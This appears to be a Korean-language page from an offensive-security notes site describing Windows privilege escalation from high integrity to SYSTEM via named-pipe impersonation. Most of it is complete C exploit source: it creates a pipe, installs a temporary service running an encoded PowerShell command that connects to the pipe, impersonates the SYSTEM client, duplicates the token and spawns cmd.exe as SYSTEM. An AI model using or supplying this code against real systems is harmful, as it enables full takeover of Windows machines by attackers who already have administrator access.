From High Integrity to SYSTEM with Name Pipes
코드 흐름:
새로운 파이프 생성
생성된 파이프에 연결하여 무언가를 작성할 서비스 생성 및 시작. 서비스 코드는 다음 인코딩된 PS 코드를 실행합니다:
$pipe = new-object System.IO.Pipes.NamedPipeClientStream("piper"); $pipe.Connect(); $sw = new-object System.IO.StreamWriter($pipe); $sw.WriteLine("Go"); $sw.Dispose();서비스는 파이프에서 클라이언트로부터 데이터를 수신하고 ImpersonateNamedPipeClient를 호출한 후 서비스가 완료될 때까지 대기합니다.
마지막으로, 서비스에서 얻은 토큰을 사용하여 새로운 _cmd.exe_를 생성합니다.
권한이 충분하지 않으면 익스플로잇이 멈추고 반환되지 않을 수 있습니다.
```c #include #include
#pragma comment (lib, "advapi32") #pragma comment (lib, "kernel32")
#define PIPESRV "PiperSrv" #define MESSAGE_SIZE 512
int ServiceGo(void) {
SC_HANDLE scManager; SC_HANDLE scService;
scManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);
if (scManager == NULL) { return FALSE; }
// create Piper service scService = CreateServiceA(scManager, PIPESRV, PIPESRV, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, "C:\Windows\\System32\cmd.exe /rpowershell.exe -EncodedCommand JABwAGkAcABlACAAPQAgAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFAAaQBwAGUAcwAuAE4AYQBtAGUAZABQAGkAcABlAEMAbABpAGUAbgB0AFMAdAByAGUAYQBtACgAIgBwAGkAcABlAHIAIgApADsAIAAkAHAAaQBwAGUALgBDAG8AbgBuAGUAYwB0ACgAKQA7ACAAJABzAHcAIAA9ACAAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AUwB0AHIAZQBhAG0AVwByAGkAdABlAHIAKAAkAHAAaQBwAGUAKQA7ACAAJABzAHcALgBXAHIAaQB0AGUATABpAG4AZQAoACIARwBvACIAKQA7ACAAJABzAHcALgBEAGkAcwBwAG8AcwBlACgAKQA7AA==", NULL, NULL, NULL, NULL, NULL);
if (scService == NULL) { //printf("[!] CreateServiceA() failed: [%d]\n", GetLastError()); return FALSE; }
// launch it StartService(scService, 0, NULL);
// wait a bit and then cleanup Sleep(10000); DeleteService(scService);
CloseServiceHandle(scService); CloseServiceHandle(scManager); }
int main() {
LPCSTR sPipeName = "\\.\pipe\piper"; HANDLE hSrvPipe; HANDLE th; BOOL bPipeConn; char pPipeBuf[MESSAGE_SIZE]; DWORD dBRead = 0;
HANDLE hImpToken; HANDLE hNewToken; STARTUPINFOA si; PROCESS_INFORMATION pi;
// open pipe hSrvPipe = CreateNamedPipeA(sPipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 1024, 1024, 0, NULL);
// create and run service th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ServiceGo, NULL, 0, 0);
// wait for the connection from the service bPipeConn = ConnectNamedPipe(hSrvPipe, NULL); if (bPipeConn) { ReadFile(hSrvPipe, &pPipeBuf, MESSAGE_SIZE, &dBRead, NULL);
// impersonate the service (SYSTEM) if (ImpersonateNamedPipeClient(hSrvPipe) == 0) { return -1; }
// wait for the service to cleanup WaitForSingleObject(th, INFINITE);
// get a handle to impersonated token if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hImpToken)) { return -2; }
// create new primary token for new process if (!DuplicateTokenEx(hImpToken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &hNewToken)) { return -4; }
//Sleep(20000); // spawn cmd.exe as full SYSTEM user ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); if (!CreateProcessWithTokenW(hNewToken, LOGON_NETCREDENTIALS_ONLY, L"cmd.exe", NULL, NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) { return -5; }
// revert back to original security context RevertToSelf();
}
return 0; }
Last updated